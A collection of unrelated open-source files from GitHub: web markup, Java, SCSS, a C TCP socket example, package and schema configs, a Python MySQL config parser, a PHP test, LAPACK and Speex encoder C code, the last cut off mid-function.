<!-- While target browsers don't support ES6 natively, include Babel parser -->
<script src="//cdnjs.cloudflare.com/ajax/libs/babel-core/5.8.34/browser.min.js"></script>
<!-- Starlight! -->
<script src="./starlight.js" data-run-script-tags></script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
package de.vogella.rcp.i18n;
import org.eclipse.ui.application.ActionBarAdvisor;
import org.eclipse.ui.application.IActionBarConfigurer;
/**
* An action bar advisor is responsible for creating, adding, and disposing of
* the actions added to a workbench window. Each window will be populated with
* new actions.
*/
public class ApplicationActionBarAdvisor extends ActionBarAdvisor {
// Actions - important to allocate these only in makeActions, and then use
// them
// in the fill methods. This ensures that the actions aren't recreated
// when fillActionBars is called with FILL_PROXY.
public ApplicationActionBarAdvisor(IActionBarConfigurer configurer) {
super(configurer);
}
}
| {
"pile_set_name": "Github"
} |
@import "mixins/mixins";
@import "common/var";
@include b(switch) {
display: inline-flex;
align-items: center;
position: relative;
font-size: $--switch-font-size;
line-height: $--switch-height;
height: $--switch-height;
vertical-align: middle;
@include when(disabled) {
& .el-switch__core,
& .el-switch__label {
cursor: not-allowed;
}
}
@include e(label) {
transition: .2s;
height: $--switch-height;
display: inline-block;
font-size: $--switch-font-size;
font-weight: 500;
cursor: pointer;
vertical-align: middle;
color: $--color-text-primary;
@include when(active) {
color: $--color-primary;
}
@include m(left) {
margin-right: 10px;
}
@include m(right) {
margin-left: 10px;
}
& * {
line-height: 1;
font-size: $--switch-font-size;
display: inline-block;
}
}
@include e(input) {
position: absolute;
width: 0;
height: 0;
opacity: 0;
margin: 0;
}
@include e(core) {
margin: 0;
display: inline-block;
position: relative;
width: $--switch-width;
height: $--switch-height;
border: 1px solid $--switch-off-color;
outline: none;
border-radius: $--switch-core-border-radius;
box-sizing: border-box;
background: $--switch-off-color;
cursor: pointer;
transition: border-color .3s, background-color .3s;
vertical-align: middle;
&:after {
content: "";
position: absolute;
top: 1px;
left: 1px;
border-radius: $--border-radius-circle;
transition: all .3s;
width: $--switch-button-size;
height: $--switch-button-size;
background-color: $--color-white;
}
}
@include when(checked) {
.el-switch__core {
border-color: $--switch-on-color;
background-color: $--switch-on-color;
&::after {
left: 100%;
margin-left: -$--switch-button-size - 1px;
}
}
}
@include when(disabled) {
opacity: 0.6;
}
@include m(wide) {
.el-switch__label {
&.el-switch__label--left {
span {
left: 10px;
}
}
&.el-switch__label--right {
span {
right: 10px;
}
}
}
}
& .label-fade-enter,
& .label-fade-leave-active {
opacity: 0;
}
}
| {
"pile_set_name": "Github"
} |
// SPDX-License-Identifier: GPL-2.0-only
/*
* Copyright 2018 Google Inc.
* Author: Soheil Hassas Yeganeh ([email protected])
*
* Simple example on how to use TCP_INQ and TCP_CM_INQ.
*/
#define _GNU_SOURCE
#include <error.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#ifndef TCP_INQ
#define TCP_INQ 36
#endif
#ifndef TCP_CM_INQ
#define TCP_CM_INQ TCP_INQ
#endif
#define BUF_SIZE 8192
#define CMSG_SIZE 32
static int family = AF_INET6;
static socklen_t addr_len = sizeof(struct sockaddr_in6);
static int port = 4974;
static void setup_loopback_addr(int family, struct sockaddr_storage *sockaddr)
{
struct sockaddr_in6 *addr6 = (void *) sockaddr;
struct sockaddr_in *addr4 = (void *) sockaddr;
switch (family) {
case PF_INET:
memset(addr4, 0, sizeof(*addr4));
addr4->sin_family = AF_INET;
addr4->sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr4->sin_port = htons(port);
break;
case PF_INET6:
memset(addr6, 0, sizeof(*addr6));
addr6->sin6_family = AF_INET6;
addr6->sin6_addr = in6addr_loopback;
addr6->sin6_port = htons(port);
break;
default:
error(1, 0, "illegal family");
}
}
void *start_server(void *arg)
{
int server_fd = (int)(unsigned long)arg;
struct sockaddr_in addr;
socklen_t addrlen = sizeof(addr);
char *buf;
int fd;
int r;
buf = malloc(BUF_SIZE);
for (;;) {
fd = accept(server_fd, (struct sockaddr *)&addr, &addrlen);
if (fd == -1) {
perror("accept");
break;
}
do {
r = send(fd, buf, BUF_SIZE, 0);
} while (r < 0 && errno == EINTR);
if (r < 0)
perror("send");
if (r != BUF_SIZE)
fprintf(stderr, "can only send %d bytes\n", r);
/* TCP_INQ can overestimate in-queue by one byte if we send
* the FIN packet. Sleep for 1 second, so that the client
* likely invoked recvmsg().
*/
sleep(1);
close(fd);
}
free(buf);
close(server_fd);
pthread_exit(0);
}
int main(int argc, char *argv[])
{
struct sockaddr_storage listen_addr, addr;
int c, one = 1, inq = -1;
pthread_t server_thread;
char cmsgbuf[CMSG_SIZE];
struct iovec iov[1];
struct cmsghdr *cm;
struct msghdr msg;
int server_fd, fd;
char *buf;
while ((c = getopt(argc, argv, "46p:")) != -1) {
switch (c) {
case '4':
family = PF_INET;
addr_len = sizeof(struct sockaddr_in);
break;
case '6':
family = PF_INET6;
addr_len = sizeof(struct sockaddr_in6);
break;
case 'p':
port = atoi(optarg);
break;
}
}
server_fd = socket(family, SOCK_STREAM, 0);
if (server_fd < 0)
error(1, errno, "server socket");
setup_loopback_addr(family, &listen_addr);
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR,
&one, sizeof(one)) != 0)
error(1, errno, "setsockopt(SO_REUSEADDR)");
if (bind(server_fd, (const struct sockaddr *)&listen_addr,
addr_len) == -1)
error(1, errno, "bind");
if (listen(server_fd, 128) == -1)
error(1, errno, "listen");
if (pthread_create(&server_thread, NULL, start_server,
(void *)(unsigned long)server_fd) != 0)
error(1, errno, "pthread_create");
fd = socket(family, SOCK_STREAM, 0);
if (fd < 0)
error(1, errno, "client socket");
setup_loopback_addr(family, &addr);
if (connect(fd, (const struct sockaddr *)&addr, addr_len) == -1)
error(1, errno, "connect");
if (setsockopt(fd, SOL_TCP, TCP_INQ, &one, sizeof(one)) != 0)
error(1, errno, "setsockopt(TCP_INQ)");
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsgbuf;
msg.msg_controllen = sizeof(cmsgbuf);
msg.msg_flags = 0;
buf = malloc(BUF_SIZE);
iov[0].iov_base = buf;
iov[0].iov_len = BUF_SIZE / 2;
if (recvmsg(fd, &msg, 0) != iov[0].iov_len)
error(1, errno, "recvmsg");
if (msg.msg_flags & MSG_CTRUNC)
error(1, 0, "control message is truncated");
for (cm = CMSG_FIRSTHDR(&msg); cm; cm = CMSG_NXTHDR(&msg, cm))
if (cm->cmsg_level == SOL_TCP && cm->cmsg_type == TCP_CM_INQ)
inq = *((int *) CMSG_DATA(cm));
if (inq != BUF_SIZE - iov[0].iov_len) {
fprintf(stderr, "unexpected inq: %d\n", inq);
exit(1);
}
printf("PASSED\n");
free(buf);
close(fd);
return 0;
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="FSharp.Core" version="4.5.0" targetFramework="net452" />
<package id="Newtonsoft.Json" version="11.0.2" targetFramework="net452" />
<package id="NodaTime" version="2.3.0" targetFramework="net452" />
<package id="Suave" version="2.4.3" targetFramework="net461" />
<package id="XPlot.Plotly" version="1.4.5" targetFramework="net461" />
</packages> | {
"pile_set_name": "Github"
} |
# -*- coding: utf-8 -*-
from six.moves import configparser
def parse_mysql_cnf(dbinfo):
"""
Attempt to parse mysql database config file for connection settings.
Ideally we would hook into django's code to do this, but read_default_file is handled by the mysql C libs
so we have to emulate the behaviour
Settings that are missing will return ''
returns (user, password, database_name, database_host, database_port)
"""
read_default_file = dbinfo.get('OPTIONS', {}).get('read_default_file')
if read_default_file:
config = configparser.RawConfigParser({
'user': '',
'password': '',
'database': '',
'host': '',
'port': '',
'socket': '',
})
import os
config.read(os.path.expanduser(read_default_file))
try:
user = config.get('client', 'user')
password = config.get('client', 'password')
database_name = config.get('client', 'database')
database_host = config.get('client', 'host')
database_port = config.get('client', 'port')
socket = config.get('client', 'socket')
if database_host == 'localhost' and socket:
# mysql actually uses a socket if host is localhost
database_host = socket
return user, password, database_name, database_host, database_port
except configparser.NoSectionError:
pass
return '', '', '', '', ''
| {
"pile_set_name": "Github"
} |
{
"$schema": "http://json-schema.org/draft-04/schema#",
"_id": "kapi.notifications.webhook",
"description": "AMQP API for notifications.webhook",
"properties": {
"Account-DB": {
"type": "string"
},
"Account-ID": {
"type": "string"
},
"Attachment-URL": {
"type": "string"
},
"Bcc": {
"type": "string"
},
"Cc": {
"type": "string"
},
"Data": {
"type": "string"
},
"Event-Category": {
"enum": [
"notification"
],
"type": "string"
},
"Event-Name": {
"enum": [
"webhook"
],
"type": "string"
},
"From": {
"type": "string"
},
"HTML": {
"type": "string"
},
"Hook": {
"type": "string"
},
"Preview": {
"type": "string"
},
"Reply-To": {
"type": "string"
},
"Subject": {
"type": "string"
},
"Text": {
"type": "string"
},
"Timestamp": {
"type": "string"
},
"To": {
"type": "string"
}
},
"required": [
"Data",
"Hook"
],
"type": "object"
}
| {
"pile_set_name": "Github"
} |
# Budgets
Creates Standard Budgets and Alerts in the main account. The budgets will trigger when certain limits or forecasts are reached.
For specific values of the budget please consult the config file and buget.template.yaml. | {
"pile_set_name": "Github"
} |
--TEST--
Test uasort() function : usage variations - anonymous function as 'cmp_function'
--FILE--
<?php
/* Prototype : bool uasort(array $array_arg, string $cmp_function)
* Description: Sort an array with a user-defined comparison function and maintain index association
* Source code: ext/standard/array.c
*/
/*
* Passing different anonymous functions as 'cmp_function'
* arguments passed by value
* arguments passed by reference
*/
echo "*** Testing uasort() : anonymous function as 'cmp_function' ***\n";
$cmp_function = 'if($value1 == $value2) {return 0;} else if($value1 > $value2) {return 1;} else{return -1;}';
$array_arg = array(0 => 100, 1 => 3, 2 => -70, 3 => 24, 4 => 90);
echo "-- Anonymous 'cmp_function' with parameters passed by value --\n";
var_dump( uasort($array_arg, create_function('$value1, $value2',$cmp_function) ) );
var_dump($array_arg);
$array_arg = array("b" => "Banana", "m" => "Mango", "a" => "Apple", "p" => "Pineapple");
echo "-- Anonymous 'cmp_function' with parameters passed by reference --\n";
var_dump( uasort($array_arg, create_function('&$value1, &$value2', $cmp_function) ) );
var_dump($array_arg);
echo "Done"
?>
--EXPECTF--
*** Testing uasort() : anonymous function as 'cmp_function' ***
-- Anonymous 'cmp_function' with parameters passed by value --
bool(true)
array(5) {
[2]=>
int(-70)
[1]=>
int(3)
[3]=>
int(24)
[4]=>
int(90)
[0]=>
int(100)
}
-- Anonymous 'cmp_function' with parameters passed by reference --
bool(true)
array(4) {
["a"]=>
string(5) "Apple"
["b"]=>
string(6) "Banana"
["m"]=>
string(5) "Mango"
["p"]=>
string(9) "Pineapple"
}
Done
| {
"pile_set_name": "Github"
} |
[Desktop Entry]
Encoding=UTF-8
Type=Directory
Name=Games for Kids
Icon=applications-games-children
#TRANSLATIONS_DIR=translations
# Translations
Name[sv]=Spel för barn
| {
"pile_set_name": "Github"
} |
{"valid_fluids": ["biodiesel"]}
| {
"pile_set_name": "Github"
} |
/*
Copyright 2014 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Package queryparams provides conversion from versioned
// runtime objects to URL query values
package queryparams // import "k8s.io/apimachinery/pkg/conversion/queryparams"
| {
"pile_set_name": "Github"
} |
/*****************************************************************************
Copyright (c) 2011, Intel Corp.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Intel Corporation nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
THE POSSIBILITY OF SUCH DAMAGE.
*****************************************************************************
* Contents: Native high-level C interface to LAPACK function dptsvx
* Author: Intel Corporation
* Generated November, 2011
*****************************************************************************/
#include "lapacke_utils.h"
lapack_int LAPACKE_dptsvx( int matrix_order, char fact, lapack_int n,
lapack_int nrhs, const double* d, const double* e,
double* df, double* ef, const double* b,
lapack_int ldb, double* x, lapack_int ldx,
double* rcond, double* ferr, double* berr )
{
lapack_int info = 0;
double* work = NULL;
if( matrix_order != LAPACK_COL_MAJOR && matrix_order != LAPACK_ROW_MAJOR ) {
LAPACKE_xerbla( "LAPACKE_dptsvx", -1 );
return -1;
}
#ifndef LAPACK_DISABLE_NAN_CHECK
/* Optionally check input matrices for NaNs */
if( LAPACKE_dge_nancheck( matrix_order, n, nrhs, b, ldb ) ) {
return -9;
}
if( LAPACKE_d_nancheck( n, d, 1 ) ) {
return -5;
}
if( LAPACKE_lsame( fact, 'f' ) ) {
if( LAPACKE_d_nancheck( n, df, 1 ) ) {
return -7;
}
}
if( LAPACKE_d_nancheck( n-1, e, 1 ) ) {
return -6;
}
if( LAPACKE_lsame( fact, 'f' ) ) {
if( LAPACKE_d_nancheck( n-1, ef, 1 ) ) {
return -8;
}
}
#endif
/* Allocate memory for working array(s) */
work = (double*)LAPACKE_malloc( sizeof(double) * MAX(1,2*n) );
if( work == NULL ) {
info = LAPACK_WORK_MEMORY_ERROR;
goto exit_level_0;
}
/* Call middle-level interface */
info = LAPACKE_dptsvx_work( matrix_order, fact, n, nrhs, d, e, df, ef, b,
ldb, x, ldx, rcond, ferr, berr, work );
/* Release memory and exit */
LAPACKE_free( work );
exit_level_0:
if( info == LAPACK_WORK_MEMORY_ERROR ) {
LAPACKE_xerbla( "LAPACKE_dptsvx", info );
}
return info;
}
| {
"pile_set_name": "Github"
} |
/* Copyright (C) 2002-2006 Jean-Marc Valin
File: speexenc.c
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of the Xiph.org Foundation nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include <stdio.h>
#if !defined WIN32 && !defined _WIN32
#include <unistd.h>
#endif
#ifdef HAVE_GETOPT_H
#include <getopt.h>
#endif
#ifndef HAVE_GETOPT_LONG
#include "getopt_win.h"
#endif
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <speex/speex.h>
#include <ogg/ogg.h>
#include "wav_io.h"
#include <speex/speex_header.h>
#include <speex/speex_stereo.h>
#include <speex/speex_preprocess.h>
#if defined WIN32 || defined _WIN32
/* We need the following two to set stdout to binary */
#include <io.h>
#include <fcntl.h>
#endif
#include "skeleton.h"
void comment_init(char **comments, int* length, char *vendor_string);
void comment_add(char **comments, int* length, char *tag, char *val);
/*Write an Ogg page to a file pointer*/
int oe_write_page(ogg_page *page, FILE *fp)
{
int written;
written = fwrite(page->header,1,page->header_len, fp);
written += fwrite(page->body,1,page->body_len, fp);
return written;
}
#define MAX_FRAME_SIZE 2000
#define MAX_FRAME_BYTES 2000
/* Convert input audio bits, endians and channels */
static int read_samples(FILE *fin,int frame_size, int bits, int channels, int lsb, short * input, char *buff, spx_int32_t *size)
{
unsigned char in[MAX_FRAME_BYTES*2];
int i;
short *s;
int nb_read;
if (size && *size<=0)
{
return 0;
}
/*Read input audio*/
if (size)
*size -= bits/8*channels*frame_size;
if (buff)
{
for (i=0;i<12;i++)
in[i]=buff[i];
nb_read = fread(in+12,1,bits/8*channels*frame_size-12, fin) + 12;
if (size)
*size += 12;
} else {
nb_read = fread(in,1,bits/8*channels* frame_size, fin);
}
nb_read /= bits/8*channels;
/*fprintf (stderr, "%d\n", nb_read);*/
if (nb_read==0)
return 0;
s=(short*)in;
if(bits==8)
{
/* Convert 8->16 bits */
for(i=frame_size*channels-1;i>=0;i--)
{
s[i]=(in[i]<<8)^0x8000;
}
} else
{
/* convert to our endian format */
for(i=0;i<frame_size*channels;i++)
{
if(lsb)
s[i]=le_short(s[i]);
else
s[i]=be_short(s[i]);
}
}
/* FIXME: This is probably redundent now */
/* copy to float input buffer */
for (i=0;i<frame_size*channels;i++)
{
input[i]=(short)s[i];
}
for (i=nb_read*channels;i<frame_size*channels;i++)
{
input[i]=0;
}
return nb_read;
}
void add_fishead_packet (ogg_stream_state *os) {
fishead_packet fp;
memset(&fp, 0, sizeof(fp));
fp.ptime_n = 0;
fp.ptime_d = 1000;
fp.btime_n = 0;
fp.btime_d = 1000;
add_fishead_to_stream(os, &fp);
}
/*
* Adds the fishead packets in the skeleton output stream along with the e_o_s packet
*/
void add_fisbone_packet (ogg_stream_state *os, spx_int32_t serialno, SpeexHeader *header) {
fisbone_packet fp;
memset(&fp, 0, sizeof(fp));
fp.serial_no = serialno;
fp.nr_header_packet = 2 + header->extra_headers;
fp.granule_rate_n = header->rate;
fp.granule_rate_d = 1;
fp.start_granule = 0;
fp.preroll = 3;
fp.granule_shift = 0;
add_message_header_field(&fp, "Content-Type", "audio/x-speex");
add_fisbone_to_stream(os, &fp);
}
void version()
{
const char* speex_version;
speex_lib_ctl(SPEEX_LIB_GET_VERSION_STRING, (void*)&speex_version);
printf ("speexenc (Speex encoder) version %s (compiled " __DATE__ ")\n", speex_version);
printf ("Copyright (C) 2002-2006 Jean-Marc Valin\n");
}
void version_short()
{
const char* speex_version;
speex_lib_ctl(SPEEX_LIB_GET_VERSION_STRING, (void*)&speex_version);
printf ("speexenc version %s\n", speex_version);
printf ("Copyright (C) 2002-2006 Jean-Marc Valin\n");
}
void usage()
{
printf ("Usage: speexenc [options] input_file output_file\n");
printf ("\n");
printf ("Encodes input_file using Speex. It can read the WAV or raw files.\n");
printf ("\n");
printf ("input_file can be:\n");
printf (" filename.wav wav file\n");
printf (" filename.* Raw PCM file (any extension other than .wav)\n");
printf (" - stdin\n");
printf ("\n");
printf ("output_file can be:\n");
printf (" filename.spx Speex file\n");
printf (" - stdout\n");
printf ("\n");
printf ("Options:\n");
printf (" -n, --narrowband Narrowband (8 kHz) input file\n");
printf (" -w, --wideband Wideband (16 kHz) input file\n");
printf (" -u, --ultra-wideband \"Ultra-wideband\" (32 kHz) input file\n");
printf (" --quality n Encoding quality (0-10), default 8\n");
printf (" --bitrate n Encoding bit-rate (use bit-rate n or lower)\n");
printf (" --vbr Enable variable bit-rate (VBR)\n");
printf (" --vbr-max-bitrate Set max VBR bit-rate allowed\n");
printf (" --abr rate Enable average bit-rate (ABR) at rate bps\n");
printf (" --vad Enable voice activity detection (VAD)\n");
printf (" --dtx Enable file-based discontinuous transmission (DTX)\n");
printf (" --comp n Set encoding complexity (0-10), default 3\n");
printf (" --nframes n Number of frames per Ogg packet (1-10), default 1\n");
printf (" --denoise Denoise the input before encoding\n");
printf (" --agc Apply adaptive gain control (AGC) before encoding\n");
printf (" --skeleton Outputs ogg skeleton metadata (may cause incompatibilities)\n");
printf (" --comment Add the given string as an extra comment. This may be\n");
printf (" used multiple times\n");
printf (" --author Author of this track\n");
printf (" --title Title for this track\n");
printf (" -h, --help This help\n");
printf (" -v, --version Version information\n");
printf (" -V Verbose mode (show bit-rate)\n");
printf ("Raw input options:\n");
printf (" --rate n Sampling rate for raw input\n");
printf (" --stereo Consider raw input as stereo\n");
printf (" --le Raw input is little-endian\n");
printf (" --be Raw input is big-endian\n");
printf (" --8bit Raw input is 8-bit unsigned\n");
printf (" --16bit Raw input is 16-bit signed\n");
printf ("Default raw PCM input is 16-bit, little-endian, mono\n");
printf ("\n");
printf ("More information is available from the Speex site: http://www.speex.org\n");
printf ("\n");
printf ("Please report bugs to the mailing list `[email protected]'.\n");
}
int main(int argc, char **argv)
{
int nb_samples, total_samples=0, nb_encoded;
int c;
int option_index = 0;
char *inFile, *outFile;
FILE *fin, *fout;
short input[MAX_FRAME_SIZE];
spx_int32_t frame_size;
int quiet=0;
spx_int32_t vbr_enabled=0;
spx_int32_t vbr_max=0;
int abr_enabled=0;
spx_int32_t vad_enabled=0;
spx_int32_t dtx_enabled=0;
int nbBytes;
const SpeexMode *mode=NULL;
int modeID = -1;
void *st;
SpeexBits bits;
char cbits[MAX_FRAME_BYTES];
int with_skeleton = 0;
struct option long_options[] =
{
{"wideband", no_argument, NULL, 0},
{"ultra-wideband", no_argument, NULL, 0},
{"narrowband", no_argument, NULL, 0},
{"vbr", no_argument, NULL, 0},
{"vbr-max-bitrate", required_argument, NULL, 0},
{"abr", required_argument, NULL, 0},
{"vad", no_argument, NULL, 0},
{"dtx", no_argument, NULL, 0},
{"quality", required_argument, NULL, 0},
{"bitrate", required_argument, NULL, 0},
{"nframes", required_argument, NULL, 0},
{"comp", required_argument, NULL, 0},
{"denoise", no_argument, NULL, 0},
{"agc", no_argument, NULL, 0},
{"skeleton",no_argument,NULL, 0},
{"help", no_argument, NULL, 0},
{"quiet", no_argument, NULL, 0},
{"le", no_argument, NULL, 0},
{"be", no_argument, NULL, 0},
{"8bit", no_argument, NULL, 0},
{"16bit", no_argument, NULL, 0},
{"stereo", no_argument, NULL, 0},
{"rate", required_argument, NULL, 0},
{"version", no_argument, NULL, 0},
{"version-short", no_argument, NULL, 0},
{"comment", required_argument, NULL, 0},
{"author", required_argument, NULL, 0},
{"title", required_argument, NULL, 0},
{0, 0, 0, 0}
};
int print_bitrate=0;
spx_int32_t rate=0;
spx_int32_t size;
int chan=1;
int fmt=16;
spx_int32_t quality=-1;
float vbr_quality=-1;
int lsb=1;
ogg_stream_state os;
ogg_stream_state so; /* ogg stream for skeleton bitstream */
ogg_page og;
ogg_packet op;
int bytes_written=0, ret, result;
int id=-1;
SpeexHeader header;
int nframes=1;
spx_int32_t complexity=3;
const char* speex_version;
char vendor_string[64];
char *comments;
int comments_length;
int close_in=0, close_out=0;
int eos=0;
spx_int32_t bitrate=0;
double cumul_bits=0, enc_frames=0;
char first_bytes[12];
int wave_input=0;
spx_int32_t tmp;
SpeexPreprocessState *preprocess = NULL;
int denoise_enabled=0, agc_enabled=0;
spx_int32_t lookahead = 0;
speex_lib_ctl(SPEEX_LIB_GET_VERSION_STRING, (void*)&speex_version);
snprintf(vendor_string, sizeof(vendor_string), "Encoded with Speex %s", speex_version);
comment_init(&comments, &comments_length, vendor_string);
/*Process command-line options*/
while(1)
{
c = getopt_long (argc, argv, "nwuhvV",
long_options, &option_index);
if (c==-1)
break;
switch(c)
{
case 0:
if (strcmp(long_options[option_index].name,"narrowband")==0)
{
modeID = SPEEX_MODEID_NB;
} else if (strcmp(long_options[option_index].name,"wideband")==0)
{
modeID = SPEEX_MODEID_WB;
} else if (strcmp(long_options[option_index].name,"ultra-wideband")==0)
{
modeID = SPEEX_MODEID_UWB;
} else if (strcmp(long_options[option_index].name,"vbr")==0)
{
vbr_enabled=1;
} else if (strcmp(long_options[option_index].name,"vbr-max-bitrate")==0)
{
vbr_max=atoi(optarg);
if (vbr_max<1)
{
fprintf (stderr, "Invalid VBR max bit-rate value: %d\n", vbr_max);
exit(1);
}
} else if (strcmp(long_options[option_index].name,"abr")==0)
{
abr_enabled=atoi(optarg);
if (!abr_enabled)
{
fprintf (stderr, "Invalid ABR value: %d\n", abr_enabled);
exit(1);
}
} else if (strcmp(long_options[option_index].name,"vad")==0)
{
vad_enabled=1;
} else if (strcmp(long_options[option_index].name,"dtx")==0)
{
dtx_enabled=1;
} else if (strcmp(long_options[option_index].name,"quality")==0)
{
quality = atoi (optarg);
vbr_quality=atof(optarg);
} else if (strcmp(long_options[option_index].name,"bitrate")==0)
{
bitrate = atoi (optarg);
} else if (strcmp(long_options[option_index].name,"nframes")==0)
{
nframes = atoi (optarg);
if (nframes<1)
nframes=1;
if (nframes>10)
nframes=10;
} else if (strcmp(long_options[option_index].name,"comp")==0)
{
complexity = atoi (optarg);
} else if (strcmp(long_options[option_index].name,"denoise")==0)
{
denoise_enabled=1;
} else if (strcmp(long_options[option_index].name,"agc")==0)
{
agc_enabled=1;
} else if (strcmp(long_options[option_index].name,"skeleton")==0)
{
with_skeleton=1;
} else if (strcmp(long_options[option_index].name,"help")==0)
{
usage();
exit(0);
} else if (strcmp(long_options[option_index].name,"quiet")==0)
{
quiet = 1;
} else if (strcmp(long_options[option_index].name,"version")==0)
{
version();
exit(0);
} else if (strcmp(long_options[option_index].name,"version-short")==0)
{
version_short();
exit(0);
} else if (strcmp(long_options[option_index].name,"le")==0)
{
lsb=1;
} else if (strcmp(long_options[option_index].name,"be")==0)
{
lsb=0;
} else if (strcmp(long_options[option_index].name,"8bit")==0)
{
fmt=8;
} else if (strcmp(long_options[option_index].name,"16bit")==0)
{
fmt=16;
} else if (strcmp(long_options[option_index].name,"stereo")==0)
{
chan=2;
} else if (strcmp(long_options[option_index].name,"rate")==0)
{
rate=atoi (optarg);
} else if (strcmp(long_options[option_index].name,"comment")==0)
{
if (!strchr(optarg, '='))
{
fprintf (stderr, "Invalid comment: %s\n", optarg);
fprintf (stderr, "Comments must be of the form name=value\n");
exit(1);
}
comment_add(&comments, &comments_length, NULL, optarg);
} else if (strcmp(long_options[option_index].name,"author")==0)
{
comment_add(&comments, &comments_length, "author=", optarg);
} else if (strcmp(long_options[option_index].name,"title")==0)
{
comment_add(&comments, &comments_length, "title=", optarg);
}
break;
case 'n':
modeID = SPEEX_MODEID_NB;
break;
case 'h':
usage();
exit(0);
break;
case 'v':
version();
exit(0);
break;
case 'V':
print_bitrate=1;
break;
case 'w':
modeID = SPEEX_MODEID_WB;
break;
case 'u':
modeID = SPEEX_MODEID_UWB;
break;
case '?':
usage();
exit(1);
break;
}
}
if (argc-optind!=2)
{
usage();
exit(1);
}
inFile=argv[optind];
outFile=argv[optind+1];
/*Initialize Ogg stream struct*/
srand(time(NULL));
if (ogg_stream_init(&os, rand())==-1)
{
fprintf(stderr,"Error: stream init failed\n");
exit(1);
}
if (with_skeleton && ogg_stream_init(&so, rand())==-1)
{
fprintf(stderr,"Error: stream init failed\n");
exit(1);
}
if (strcmp(inFile, "-")==0)
{
#if defined WIN32 || defined _WIN32
_setmode(_fileno(stdin), _O_BINARY);
#elif defined OS2
_fsetmode(stdin,"b");
#endif
fin=stdin;
}
else
{
fin = fopen(inFile, "rb");
if (!fin)
{
perror(inFile);
exit(1);
}
close_in=1;
}
{
fread(first_bytes, 1, 12, fin);
if (strncmp(first_bytes,"RIFF",4)==0 && strncmp(first_bytes,"RIFF",4)==0)
{
if (read_wav_header(fin, &rate, &chan, &fmt, &size)==-1)
exit(1);
wave_input=1;
lsb=1; /* CHECK: exists big-endian .wav ?? */
}
}
if (modeID==-1 && !rate)
{
/* By default, use narrowband/8 kHz */
modeID = SPEEX_MODEID_NB;
rate=8000;
} else if (modeID!=-1 && rate)
{
mode = speex_lib_get_mode (modeID);
if (rate>48000)
{
fprintf (stderr, "Error: sampling rate too high: %d Hz, try down-sampling\n", rate);
exit(1);
} else if (rate>25000)
{
if (modeID != SPEEX_MODEID_UWB)
{
fprintf (stderr, "Warning: Trying to encode in %s at %d Hz. I'll do it but I suggest you try ultra-wideband instead\n", mode->modeName , rate);
}
} else if (rate>12500)
{
if (modeID != SPEEX_MODEID_WB)
{
fprintf (stderr, "Warning: Trying to encode in %s at %d Hz. I'll do it but I suggest you try wideband instead\n", mode->modeName , rate);
}
} else if (rate>=6000)
{
if (modeID != SPEEX_MODEID_NB)
{
